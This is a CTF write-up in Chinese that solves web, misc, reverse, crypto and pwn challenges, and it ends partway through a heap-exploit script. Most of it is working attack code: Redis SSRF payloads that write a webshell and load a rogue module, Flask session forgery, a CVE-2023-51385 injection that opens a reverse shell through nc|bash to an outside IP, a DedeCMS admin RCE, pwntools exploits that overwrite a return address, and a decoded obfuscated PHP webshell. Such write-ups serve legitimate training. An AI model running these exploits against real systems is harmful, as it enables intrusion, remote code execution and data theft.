放假没事干,之前正好报名了就打了下
web
ezezez_php
<?php
class Rd
{
public $ending;
public $cl;
public $poc;
public function __construct()
{
$this->cl=new Er();
}
}
class Ha
{
public $start;
public $start1;
public $start2;
public function __construct(){
$this->start=array("POC"=>"0.o");
$this->start2="o.0";
$this->start1=new Rd();
}
}
class Poc
{
public $payload;
public $fun;
public function __construct(){
$this->payload="/etc/passwd";
}
}
class Er
{
public $symbol;
public $Flag;
public function __construct()
{
$this->Flag = base64_encode("dict://127.0.0.1:6379/system.exec:\"env\"");
}
}
$a=new Ha();
echo serialize($a);
?>
gopher用不了感觉限制了redis命令一次只能执行一条,因此换dict协议
更改rdb文件的目录至网站目录下url=dict://127.0.0.1:6379/config:set:dir:/var/www/html
将rdb文件名dbfilename改为webshell的名字url=dict://127.0.0.1:6379/config:set:dbfilename:webshell.php
写入webshell
url=dict://127.0.0.1:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
有些时候可能\x需要换成 \ \x进行转义
进行备份
dict://127.0.0.1:6379/save
info查看:
dict://127.0.0.1:6379/info
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:36:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L2luZm8=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:68:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L2NvbmZpZzpzZXQ6ZGlyOi92YXIvd3d3L2h0bWw=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:76:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L2NvbmZpZzpzZXQ6ZGJmaWxlbmFtZTp3ZWJzaGVsbC5waHA=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:148:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L3NldDp3ZWJzaGVsbDoiXHgzY1x4M2ZceDcwXHg2OFx4NzBceDIwXHg3MFx4NjhceDcwXHg2OVx4NmVceDY2XHg2Zlx4MjhceDI5XHgzYlx4M2ZceDNlIg==";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}
save
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:3:"0.o";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:36:"ZGljdDovLzEyNy4wLjAuMTo2Mzc5L3NhdmU=";}s:3:"poc";N;}s:6:"start2";s:3:"o.0";}
此时报错了,怀疑/var/www/html目录没有写权限,于是尝试写tmp发现写入成功
只能写/tmp的话,只能尝试主从复制了
vps的命令是python3 redis_rogue_server.py -v -path exp.so -lport 3333
这些命令一次一次执行
config:set:dir:/tmp
config:set:dbfilename:exp.so
slaveof:ip:3333
module:load:./exp.so
system.exec:"ls /"
没找到flag文件,看环境变量
system.exec:"env"
工具和过程参考: https://www.freebuf.com/articles/web/293030.html
picup
功能点就是一个注册一个登录,登录之后给session身份可以传文件,对文件内容做了限制,如果被限制了就无法上传文件,上传成功会把文件内容base64编码出来
一开始以为是个php,其实是个python,pic可以读文件,…/双写绕过
?pic=..././..././app/app.py
app.py
import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect
from Users import Users
from waf import waf
users=Users()
app=Flask(__name__)
app.template_folder="./"
app.secret_key=users.passwords['admin']=hashlib.md5(os.urandom(32)).hexdigest()
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
if not session or not session.get('username'):
return redirect("login.php")
if request.method=="POST" and 'file' in request.files and (filename:=waf(request.files['file'])):
filepath=os.path.join("./uploads",filename)
request.files['file'].save(filepath)
return "File upload success! Path: <a href='pic.php?pic="+filename+"'>"+filepath+"</a>."
return render_template("index.html")
@app.route('/login.php',methods=['GET','POST'])
def login():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and users.login(username,password):
session['username']=username
return "Login success! <a href='/'>Click here to redirect.</a>"
else:
return "Login fail!"
return render_template("login.html")
@app.route('/register.php',methods=['GET','POST'])
def register():
if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
if type(username)==str and type(password)==str and not username.isnumeric() and users.register(username,password):
return "Register successs! Your username is {username} with hash: {{users.passwords[{username}]}}.".format(username=username).format(users=users)
else:
return "Register fail!"
return render_template("register.html")
@app.route('/pic.php',methods=['GET','POST'])
def pic():
if not session or not session.get('username'):
return redirect("login.php")
if (pic:=request.args.get('pic')) and os.path.isfile(filepath:="./uploads/"+pic.replace("../","")):
if session.get('username')=="admin":
return pickle.load(open(filepath,"rb"))
else:
return '''<img src="data:image/png;base64,'''+base64.b64encode(open(filepath,"rb").read()).decode()+'''">'''
res="<h1>files in ./uploads/</h1><br>"
for f in os.listdir("./uploads"):
res+="<a href='pic.php?pic="+f+"'>./uploads/"+f+"</a><br>"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
User.py
import hashlib
import os
class Users:
passwords={}
def register(self,username,password):
if username in self.passwords:
return False
if len(self.passwords)>=3:
for u in list(self.passwords.keys()):
if u!="admin":
del self.passwords[u]
self.passwords[username]=hashlib.md5(password.encode()).hexdigest()
return True
def login(self,username,password):
if username in self.passwords and self.passwords[username]==hashlib.md5(password.encode()).hexdigest():
return True
return False
waf.py
import os
from werkzeug.utils import secure_filename
def waf(file):
content=file.read().lower()
if len(content)>=70:
return False
for b in [b"\n",b"\r",b"\\",b"base",b"builtin",b"code",b"command",b"eval",b"exec",b"flag",b"global",b"os",b"output",b"popen",b"pty",b"repeat",b"run",b"setstate",b"spawn",b"subprocess",b"sys",b"system",b"timeit"]:
if b in content:
return False
file.seek(0)
return secure_filename(file.filename)
思路就是先获取secret_key来伪造admin身份,然后利用pickle.loads来加载上传的文件
secret_key有16的32次方可能,爆肯定爆不出来,考点是python格式化字符串漏洞: https://www.leavesongs.com/PENETRATION/python-string-format-vulnerability.html
注册那里构造:
username={users.passwords}&password=111
可以得到admin的密码
然后伪造session
python flask_session_cookie_manager3.py encode -s "cc9cb3b7076c8526f54e757757cff5c5" -t "{'username': 'admin'}"
eyJ1c2VybmFtZSI6ImFkbWluIn0.Za4J6A.9qpiPrEt4eU4782cgiafDL7BQEo
然后就是想着怎么绕过pickle了,由于平时这块学的不是很多,一直在搜怎么绕system关键字,最后没能做出来,看了别的师傅的wp发现可以打SSTI来RCE,上传模板文件然后pickle.dump的payload把恶意函数改成render_templeate即可
原文链接: https://blog.youkuaiyun.com/mochu7777777/article/details/135760457
可信计算
grep -r "flag{" /
misc
modules
看config就能搜到CVE-2023-51385
https://github.com/WLaoDuo/CVE-2023-51385_poc-test?tab=readme-ov-file
https://github.com/vin01/poc-proxycommand-vulnerable
发现只能执行示例文件的命令,尝试写文件到绝对路径不行,猜测过滤了/
curl 37qgx65k.requestrepo.com
可以执行,因此可以通外网
nc可以连上但是没回显,所以设置管道符来连接上
url = ssh://`nc ip 2222|bash|nc ip 3333 `foo.ichunqiu.com/bar
开两个监听一个输入一个输出
谁偷吃了我的外卖
binwalk发现有zip,foremost分离一下
发现里面一堆文件,文件名还有规律还有提示
I can give you a hint: - = /
But there was a takeaway that was partially eaten.
这些文件名的倒数四个字符串都是base64组成的字符串,写脚本把他们提取出来
import zipfile
data= []
filename = zipfile.ZipFile('外卖箱.zip').namelist()
for i in filename:
try:
data.append(i[11:-6])
except:
pass
respice = data[5:]
with open('information.txt','w') as file:
file.writelines(str(respice))
写好列表在提取
import zipfile
import ast
with open('information.txt','r') as r:
a = r.read()[2:-2]
#print(a)
def custom_sort(element):
return int(element.split('_')[0])
b= a.split("', '")
#print(b)
result = sorted(b, key=custom_sort)
#print(result)
#print("\n\n\n")
data=''
for i in result:
data+=i[-4:]
#print(data)
result1=data.replace('-','/')
print(result1)
此时base64解码,保存二进制文件
观察16进制数据可以发现是zip文件缺少了文件头,手动加上504B03
里面一个小凯的奋斗故事.md和钥匙.png(提示了明文md文件的压缩方式)
archpr明文攻击就行,时间太长直接暂停,然后把解密文件保存下来就能看到里面内容
明显需要翻转一下
str="9enruoj_FTC_1ufredn0w_aaaaaaa"
print(str[::-1])
flag{W1sh_y0u_AaaAaaaaaaaaaaa_w0nderfu1_CTF_journe9}
明文混淆
Github去搜LICENSE.txt观察这种文件都有换行,因此可以把明文设置为12个连续的空格
提取LICENSE.txt:
echo -n " " > 1.txt
bkcrack -C mingwen.zip -c LICENSE.txt -p 1.txt
发现keys:
7163444a 203b76b0 17de1387
bkcrack -C mingwen.zip -c LICENSE.txt -k 7163444a 203b76b0 17de1387 -d LIENSE.txt
生成新压缩包,新密码设置为good
bkcrack -C mingwen.zip -k 7163444a 203b76b0 17de1387 -U new.zip good
shell2.php文件:
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
?>
慢慢解吧
<?php
$O00OO0 = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
echo $O00OO0."\n";
$O00O0O = $O00OO0{3} . $O00OO0{6} . $O00OO0{33} . $O00OO0{30};
$O0OO00 = $O00OO0{33} . $O00OO0{10} . $O00OO0{24} . $O00OO0{10} . $O00OO0{24};
$OO0O00 = $O0OO00{0} . $O00OO0{18} . $O00OO0{3} . $O0OO00{0} . $O0OO00{1} . $O00OO0{24};
$OO0000 = $O00OO0{7} . $O00OO0{13};
$O00O0O .= $O00OO0{22} . $O00OO0{36} . $O00OO0{29} . $O00OO0{26} . $O00OO0{30} . $O00OO0{32} . $O00OO0{35} . $O00OO0{26} . $O00OO0{30};
echo $O00O0O."\n";
eval($O00O0O("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="));
echo base64_decode("JE8wTzAwMD0idVNxTHlDandXcFpIaGlLbWZGR1ZUQmFOcllvSXpsZWd4Sk1iUkRVRUFrUWN0bnZzZE9QWGladnVUYWdmY0hiWFloZVdNeUtObEx3U2pvQ25ydEFCeE9RRHNKcGRrUG1JekdFVlJVRnFGSjlmd1hrZWJxYllEYVlHQVd0aWJXeFlSS3BDb1d5cmJsbzBxMnN0bzI5UGJaQkdObExHUnlRNEF0T2dzUFNlc2E5THBkc0VEeVJwVVhzZU5kVjRScDVyUjNtNHNkUkZJR0hPSTJ0bmJQdGxTS3oybEdIYkFHSE53Z3k1TlBiTk5QejROV0M1TnJMMElXU2RtcGQ5RlpJSGVaUDdua0MvRkI9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs=")."\n";
/*$O0O000="uSqLyCjwWpZHhiKmfFGVTBaNrYoIzlegxJMbRDUEAkQctnvsdOPXiZvuTagfcHbXYheWMyKNlLwSjoCnrtABxOQDsJpdkPmIzGEVRUFqFJ9fwXkebqbYDaYGAWtibWxYRKpCoWyrblo0q2sto29PbZBGNlLGRyQ4AtOgsPSesa9LpdsEDyRpUXseNdV4Rp5rR3m4sdRFIGHOI2tnbPtlSKz2lGHbAGHNwgy5NPbNNPz4NWC5NrL0IWSdmpd9FZIHeZP7nkC/FB==";eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000))));
*/
$O0O000="uSqLyCjwWpZHhiKmfFGVTBaNrYoIzlegxJMbRDUEAkQctnvsdOPXiZvuTagfcHbXYheWMyKNlLwSjoCnrtABxOQDsJpdkPmIzGEVRUFqFJ9fwXkebqbYDaYGAWtibWxYRKpCoWyrblo0q2sto29PbZBGNlLGRyQ4AtOgsPSesa9LpdsEDyRpUXseNdV4Rp5rR3m4sdRFIGHOI2tnbPtlSKz2lGHbAGHNwgy5NPbNNPz4NWC5NrL0IWSdmpd9FZIHeZP7nkC/FB==";
echo '?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)));
最后:
<?php
eval(gzinflate(base64_decode('U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA==')));
echo gzinflate(base64_decode('U0gtS8zRcFCJD/APDolWT8tJTK8uNswt8DGOrzIsiHfIS4kvNzYzzUj1yVFUVKxVj9W0trcDAA=='));
?>
flag{s1mpL3_z1p_@nd_w365heLl!!!}
re
upx2023
upx脱壳,使用标准的upx进行脱壳,脱不了,魔改了
这里是取消了特征
把前面处的upx改成UPX即可
![[Untitled 12.png]]
手动脱壳找到了主逻辑
![[Untitled 1 1.png]]
v7是rand值
rand值很怪,每次调试的出来的值都不一样
前面的操作是将我们的flag的顺序打乱
打个表即可字母加数字刚好35,加上flag{},刚好42个
整体的逻辑就是将我们的flag顺序打乱,然后将我们的flag进行异或v7
可以确定五个位置的数据,爆破种子,这里需要根据它的时间戳来缩小爆破范围,在程序修改一年内进行爆破
#include <stdio.h>
#include <time.h>
int main()
{
unsigned char data[42] = {
0x00000009, 0x00000063, 0x000000D9, 0x000000F6, 0x00000058, 0x000000DD, 0x0000003F, 0x0000004C,
0x0000000F, 0x0000000B, 0x00000098, 0x000000C6, 0x00000065, 0x00000021, 0x00000041, 0x000000ED,
0x000000C4, 0x0000000B, 0x0000003A, 0x0000007B, 0x000000E5, 0x00000075, 0x0000005D, 0x000000A9,
0x00000031, 0x00000041, 0x000000D7, 0x00000052, 0x0000006C, 0x0000000A, 0x000000FA, 0x000000FD,
0x000000FA, 0x00000084, 0x000000DB, 0x00000089, 0x000000CD, 0x0000007E, 0x00000027, 0x00000085,
0x00000013, 0x00000008};
unsigned char arr[10];
arr[0] = data[0] ^ 'f';
arr[1] = data[1] ^ '{';
arr[2] = data[11] ^ 'l';
arr[3] = data[12] ^ 'g';
arr[4] = data[31] ^ '}';
arr[5] = data[32] ^ 'a';
int rand_arr[40];
// for (int i = 0; i < 6; i++)
// {
// printf("%d %d %d %d %d %d\n", arr[0] , arr[1] , arr[2] , arr[3] , arr[4] , arr[5] );
// }
for (int seed = 1682145100; seed < 1682145119; seed++)
{
srand(seed);
printf("now seed: %d\n", seed);
for (int i = 0; i < 34; i++)
{
rand_arr[i] = rand() % 255;
}
if (rand_arr[0] == arr[0] && rand_arr[1] == arr[1] && rand_arr[11] == arr[2] && rand_arr[12] == arr[3] && rand_arr[31] == arr[4] && rand_arr[32] == arr[5])
{
printf("Seed found: %d\n", seed);
break;
}
}
return 0;
}
爆出种子为1682145110
解出我们混淆后的字符 f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191
我们还原前面的字符混淆的加密
#include <stdio.h>
int main()
{
// unsigned int flag[42] = {
// 0x00000009, 0x00000063, 0x000000D9, 0x000000F6, 0x00000058, 0x000000DD, 0x0000003F, 0x0000004C,
// 0x0000000F, 0x0000000B, 0x00000098, 0x000000C6, 0x00000065, 0x00000021, 0x00000041, 0x000000ED,
// 0x000000C4, 0x0000000B, 0x0000003A, 0x0000007B, 0x000000E5, 0x00000075, 0x0000005D, 0x000000A9,
// 0x00000031, 0x00000041, 0x000000D7, 0x00000052, 0x0000006C, 0x0000000A, 0x000000FA, 0x000000FD,
// 0x000000FA, 0x00000084, 0x000000DB, 0x00000089, 0x000000CD, 0x0000007E, 0x00000027, 0x00000085,
// 0x00000013, 0x00000008
// };
// char arr2[] = "f{lag{";
// for (int i = 0; i < 5; i++)
// {
// flag[i] = (flag[i] ^ arr2[i]);
// }
// for (int i = 0; i < 5; i++)
// {
// printf("%d, ",flag[i]);
// }
char a2[45] = "flag{0305ff2-4b6fg7-bca-0029c88e1}";
int v18 = 0;
int k = 0;
int v17 = 0;
int temp;
int v9[128];
int flag[45];
for (int i = 0; i < 128; i++)
{
v9[i] = 10;
}
for (k = 0; k < 42; ++k)
{
if (!v18 || 2 == v18)
v17 ^= 1u;
temp = a2[k];
v9 [k + 42 * v18] = temp;
if (v17)
++v18;
else
--v18;
}
int x = 0;
for (int i = 0; i < 128; i++)
{
if(v9[i] != 10)
{
flag[x] = v9[i];
x++;
}
}
for (int i = 0; i < 42; i++)
{
printf("%c", flag[i]);
}
return 0;
}
搓一个逆向脚本
#include <stdio.h>
int main()
{
int arr[45] = {0, 4, 8, 12, 16, 20, 24, 28, 32, 36, 40, 1, 3, 5, 7, 9, 11, 13, 15, 17, 19, 21, 23, 25, 27, 29, 31, 33, 35, 37, 39, 41, 2, 6, 10, 14, 18, 22, 26, 30, 34, 38};
char flag[45] ;
char data[45] = "f{52bgb-281lg00ff-46f7-ca009c8e}a381-b7191";
char flag2[45];
for (int i = 0; i < 42; i++)
{
flag2[arr[i]] = data[i];
}
for (int i = 0; i < 42; i++)
{
printf("%c", flag2[i]);
}
return 0;
}
flag{0305f8f2-14b6-fg7b-bc7a-010299c881e1}
crypto
CF is Crypto Faker
给了很多自定义函数,看了就最后的有用,正常的RSA解密,用c1,c2解出m,f
y_hat_cipher1 =0x29289e3d9275147b885b5061637564cbee3e4d9f48e52694e594f020e49da9b24d9246b2437fb2221fa86ca1a277f3fdd7ab5cad4738a02b66d47703ef816844a84c6c209c8251e8961c9ba2c791649e022627f86932d9700c3b1dc086e8b2747d0a5604955387a935464d3866dd4100b2f3d57603c728761d1d8ef7fdbdcbee
y_hat_cipher2 =0x2b0059f88454e0e36269c809b5d5b6b28e5bab3c87b20f9e55635239331100a0a582241e7a385034698b61ebf24b519e868617ff67974cc907cc61be38755737f9a6dbeb7890ff55550b1af1ecf635112fcaaa8b07a3972b3c6728cbcf2a3973a4d7bd92affec7e065e0ae83cd36858e6d983785a3668a8b82709d78a69796af
n = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3d2698476b6dd203811b6a2ec6a6e2a7e213ab719bcd3ab49bb864b10e9c78ea3f501c0e2213dfe431043bb6f0cc2e8d77bfb43869b843af1a99ae81b87811e101
r = 0x4f37fe985d13ffde9867fa0063f68dea79196408b1404eadf03ea59297d629c2183a4a6a6647b6c4c99dd43bae8c4fa4691a608d20170fd42b18aef7efb3ae01cd3
phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709648d78eb17edb46dda768a97d57e6bd1c48657393b7c0d9c574c38cc0a3545ce7d209ade33b8ac6b31a41fe9f4ed62b4ddd7b99859b74915f2031dd2f5f0499a2f8
e = 0x2ebad696da6dda845bf03fdf34ee73d4849800de9267a5baa3c068e2d33a74727d00002fbfea775e5233087a9039d267130aa924a4f7fed3576f6ff7b8e1b2e8
trained_e = 0x2c22193ad9abcca2f67552fc76dd07b3ef883f3d755c95119cdf82bb6a07c970fd37e582bb49250d8efaa29b8a59c82059165c654206a9d7261f6b45a90dc69
trained_phi = 0x81c5f040bfaea676120cd62c36ba7afb303561504bbf8609afa3da60fb6202ca875b0bd2a06143ebcd16fa615557ff159d97909160d68e1938b3ecaf57709b3bb712fdcba325655f111918472d4353a66854ccda50b63a1047278c15a4b39cde898d054db87092958c7c05f8fa566dcd969b1ff4b7d1935c375a4af3bfc341b0
d = gmpy2.invert(trained_e,trained_phi)
m = pow(y_hat_cipher1,d,n)
f = pow(y_hat_cipher2,d,n)
flag = b"flag{" + long_to_bytes(m) + long_to_bytes(f) + b".}"
print(flag)
not_wiener
参考:
- https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage
- https://github.com/maple3142/My-CTF-Challenges/tree/bc55a95a48472e66c0f6d9f2084cd2675e9f55b2/AIS3%20Pre-exam%202023/Not%20Wiener
from Crypto.Util.number import *
import gmpy2
n = 98871082998654651904594468693622517613869880791884929588100914778964766348914919202255397776583412976785216592924335179128220634848871563960167726280836726035489482233158897362166942091133366827965811201438682117312550600943385153640907629347663140487841016782054145413246763816202055243693289693996466579973
e = 76794907644383980853714814867502708655721653834095293468287239735547303515225813724998992623067007382800348003887194379223500764768679311862929538017193078946067634221782978912767213553254272722105803768005680182504500278005295062173004098796746439445343896868825218704046110925243884449608326413259156482881
c = 13847199761503953970544410090850216804358289955503229676987212195445226107828814170983735135692611175621170777484117542057117607579344112008580933900051471041224296342157618857321522682033260246480258856376097987259016643294843196752685340912823459403703609796624411954082410762846356541101561523204985391564
p = 161310487790785086482919800040790794252181955976860261806376528825054571226885460699399582301663712128659872558133023114896223014064381772944582265101778076462675402208451386747128794418362648706087358197370036248544508513485401475977401111270352593919906650855268709958151310928767086591887892397722958234379
q= 1115861146902610160756777713087325311747309309771
g= 61073566757714587321114447684333928353300944355112378054603585955730395524359123615359185275743626350773632555967063692889668342544616165017003197599818881844811647270423070958521148291118914198811187731689123176313367399492561288350530256722898205674043032421874788802819858438796795768177550638273020791962
y= 23678147495254433946472657196764372220306841739888385605070426528738230369489739339976134564575544246606937803367113623097260181789372915552172469427842482448570540429192377881186772226796452797182435452490307834205012154495575570994963829345053331967442452842152258650027916313982835119514473311305158299360
(h1, r1, s1) = 535874494834828755542711401117152397489711233142, 117859946800380767356190121030392492081340616512, 26966646740134065096660259687229179143947213779
(h2, r2, s2) = 236574518096866758760287021848258048065293279716, 863199000523521111517835459866422731857447792677, 517924607931342012033031470185302567344725962419
b= 17474742587088593627
d = 1493519932573300884636712093929290985070801830526216141153447882450934993737739146621
a = pow(c,d,n)
print(a)
a = 24601959430759983424400804734518943158892550216065342062971649989571838687333
print(n//e)
from Crypto.Util.number import *
(h1, r1, s1) = 535874494834828755542711401117152397489711233142, 117859946800380767356190121030392492081340616512, 26966646740134065096660259687229179143947213779
(h2, r2, s2) = 236574518096866758760287021848258048065293279716, 863199000523521111517835459866422731857447792677, 517924607931342012033031470185302567344725962419
a = 24601959430759983424400804734518943158892550216065342062971649989571838687333
b = 17474742587088593627
q = 1115861146902610160756777713087325311747309309771
# 创建矩阵
jz = Matrix(Zmod(q), [[s1, -r1], [a * s2, -r2]])
you = vector(Zmod(q), [h1, h2 - b * s2])
f = jz.solve_right(you)
print(long_to_bytes(int(f[1])))
flag{l1near_k1s_unsafe}
挑战题
ezdede
微信公众号发消息给提示
admin/admin@123登录后台/dede,提示了5.7.112的后台rce
搜一下可以找到利用文章:
https://xz.aliyun.com/t/12719
照着文章来上传文件就是了,发现对文件名和文件内容做了恶意代码检测,应该做了黑名单,先随便传个echo hello测试一下php代码能否执行:
发现上传的文件位置与文章不一样,是/a/1.php,而不是/uploads/a/1.php
接下来尝试写php代码读文件,内容不包含eval恶意关键字即可
<?php
echo file_get_contents('/flag');
pwn
nmanager
随机数用ctypes可以很简单的绕过
在modify里面,当idx为8时,我们可以覆盖到返回地址,直接利用两次,第一次leak出libc,第二次改返回地址为one gadget即可
from pwn import *
from ctypes import*
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'sp', '-h']
local = 0
elf = ELF('./nmanager')
if local:
p = process('./nmanager')
libc = ELF('./libc.so.6')
else:
p = remote('8.147.135.190',28122)
libc = ELF('./libc.so.6')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def lg(s):
success("%s >> 0x%x" % (s, eval(s)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=False):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
pause()
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def modify(index,a1,a2,a3):
sla("## select the idx you want modify ##",str(index))
sa("gender: ",a1)
sla("age: ",a2)
sa("name: ",a3)
bss = 0x404080
lib = cdll.LoadLibrary("./libc.so.6")
lib.srand(lib.time(0))
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
pss = "".join(characters[lib.rand() % 62])
sla("input password: ",pss)
sla("## select the idx you want modify ##",str(8))
sa("gender: ","a")
sla("age: ",str(1))
sa("name: ","a")
ru("a")
libc_base = uu64(ru(b'\x7f')[-6:]) - 0x29d90
lg("libc_base")
oggs = [0xebcf1,0xebcf5,0xebcf8]
ogg = libc_base + oggs[0]
lg("ogg")
sla("quit now?(Y/y)","N")
sla("## select the idx you want modify ##",str(8))
sa("gender: ",p64(bss+0x500)+p64(ogg))
sla("age: ",str(1))
sa("name: ","a")
sla("quit now?(Y/y)","Y")
ia()
book
利用第一个tcache来leak heap地址,然后利用unsorted bin来leak出libc,最后uaf打house of cat即可
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'sp', '-h']
local = 0
elf = ELF('./pwn')
if local:
p = process('./pwn')
libc = ELF('./libc.so.6')
else:
p = remote('39.106.48.123',14994)
libc = ELF('./libc.so.6')
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sa = lambda n,s : p.sendafter(n,s)
sla = lambda n,s : p.sendlineafter(n,s)
rc = lambda n : p.recv(n)
rl = lambda : p.recvline()
ru = lambda s : p.recvuntil(s)
ra = lambda : p.recvall()
ia = lambda : p.interactive()
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
def lg(s):
success("%s >> 0x%x" % (s, eval(s)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
pause()
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def cmd(op):
sla("> ",str(op))
def add(index,size):
